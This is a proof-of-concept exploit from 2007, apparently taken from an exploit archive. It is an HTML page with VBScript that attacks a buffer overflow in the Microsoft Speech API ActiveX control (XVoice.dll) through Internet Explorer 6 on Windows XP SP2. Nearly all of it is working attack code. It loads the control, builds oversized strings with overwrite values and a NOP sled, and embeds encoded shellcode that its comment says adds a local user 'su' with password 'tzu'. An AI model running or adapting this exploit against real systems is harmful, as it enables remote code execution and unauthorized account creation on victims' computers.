Microsoft Speech API ActiveX control remote buffer overflow exploit for WinXP SP2.
9831ecdc3136c5ebcd838861c5051d81e53598094f8c0de11e0426cf26fe916a<!--
6.30 10/06/2007
Microsoft Windows DirectSpeechSynthesis Module (XVoice.dll 4.0.4.2512)
/ DirectSpeechRecognition Module (Xlisten.dll 4.0.4.2512)
remote buffer overflow exploit/ xp sp2 version
both dlls are vulnerable, this is the poc for the first one
worked regardless of boot.ini settings, remotely and
by dragging the html file in the browser window
tested against IE 6
by A. Micalizzi (aka rgod )
this is dedicated to Sara, and greetings to shinnai, a good comrade
***note: this was indipendently discovered by me and Will Dormann during the
same period, documented here:
http://www.kb.cert.org/vuls/id/507433
http://www.microsoft.com/technet/security/Bulletin/MS07-033.mspx
the affected package,
http://www.microsoft.com/speech/AppHelp(SAPI4)/sapi4.asp
is still distributed with the kill bit not set
-->
<html>
<object classid='clsid:EEE78591-FE22-11D0-8BEF-0060081841DE' id='DirectSS'></OBJECT>
<script language='vbscript'>
REM metasploit, add a user 'su' with pass 'tzu'
scode = unescape("%eb%03%59%eb%05%e8%f8%ff%ff%ff%49%49%49%49%49%49%37%49%49%49%49%49%49%49%49%49%49%49%51%5a%6a%44%58%50%30%41%30%41%6b%41%41%54%42%41%32%41%41%32%42%41%30%42%41%58%38%41%42%50%75%68%69%39%6c%38%68%31%54%43%30%47%70%57%70%4c%4b%30%45%77%4c%6e%6b%31%6c%47%75%51%68%43%31%48%6f%6c%4b%52%6f%75%48%4c%4b%63%6f%31%30%53%31%38%6b%71%59%6c%4b%36%54%6c%4b%47%71%48%6e%64%71%4f%30%4d%49%6c%6c%4e%64%4b%70%30%74%76%67%4a%61%39%5a%76%6d%55%51%6b%72%4a%4b%68%74%47%4b%70%54%35%74%55%54%61%65%6b%55%6c%4b%41%4f%77%54%34%41%48%6b%71%76%6e%6b%46%6c%62%6b%6e%6b%33%6f%77%6c%54%41%68%6b%6e%6b%57%6c%6c%4b%46%61%48%6b%4f%79%61%4c%71%34%56%64%48%43%54%71%4b%70%31%74%4c%4b%37%30%46%50%4f%75%4f%30%41%68%46%6c%6e%6b%43%70%46%6c%6c%4b%30%70%35%4c%6e%4d%4e%6b%50%68%35%58%68%6b%56%69%6c%4b%4b%30%6e%50%57%70%53%30%73%30%4e%6b%62%48%67%4c%43%6f%50%31%4a%56%51%70%36%36%6d%59%58%78%6d%53%49%50%33%4b%56%30%42%48%41%6e%58%58%6d%32%70%73%41%78%6f%68%69%6e%6f%7a%54%4e%42%77%49%6f%38%67%33%53%30%6d%75%34%41%30%66%4f%70%63%65%70%52%4e%43%55%31%64%31%30%74%35%33%43%63%55%51%62%31%30%51%63%41%65%47%50%32%54%30%7a%42%55%61%30%36%4f%30%61%43%54%71%74%35%70%57%56%65%70%70%6e%61%75%52%54%45%70%32%4c%70%6f%70%63%73%51%72%4c%32%47%54%32%32%4f%42%55%30%70%55%70%71%51%65%34%32%4d%62%49%50%6e%42%49%74%33%62%54%43%42%30%61%42%54%70%6f%50%72%41%63%67%50%51%63%34%35%77%50%66%4f%32%41%61%74%71%74%35%50%44") + NOP
eax= unescape("%ff%13")
ebp= unescape("%ff%13")
eip= unescape("%01%0a") : REM jmp to scode, UNICODE expanded
jnk= string(50,unescape("%13"))
suntzu = string(888,"A") + ebp + eip + eax + jnk
bufferI = string(9999999,"X")
bufferII = string(9999999,"Y")
bufferIII = string(9999999,"Z")
bufferIV = string(9999999,"O")
EngineID= string(200000,"b")
MfgName="default"
ProductName="default"
ModeID= string(199544,unescape("%90")) + scode
ModeName= suntzu
LanguageID=1
Dialect="default"
Speaker="default"
Style=1
Gender=1
Age=1
Features=1
Interfaces=1
EngineFeatures=1
RankEngineID=1
RankMfgName=1
RankProductName=1
RankModeID=1
RankModeName=1
RankLanguage=1
RankDialect=1
RankSpeaker=1
RankStyle=1
RankGender=1
RankAge=1
RankFeatures=1
RankInterfaces=1
RankEngineFeatures=1
DirectSS.FindEngine EngineID, MfgName, ProductName, ModeID, ModeName, LanguageID, Dialect, Speaker, Style, Gender, Age, Features, Interfaces, EngineFeatures, RankEngineID, RankMfgName, RankProductName, RankModeID, RankModeName, RankLanguage, RankDialect, RankSpeaker, RankStyle, RankGender, RankAge, RankFeatures, RankInterfaces, RankEngineFeatures
</script>
</html>
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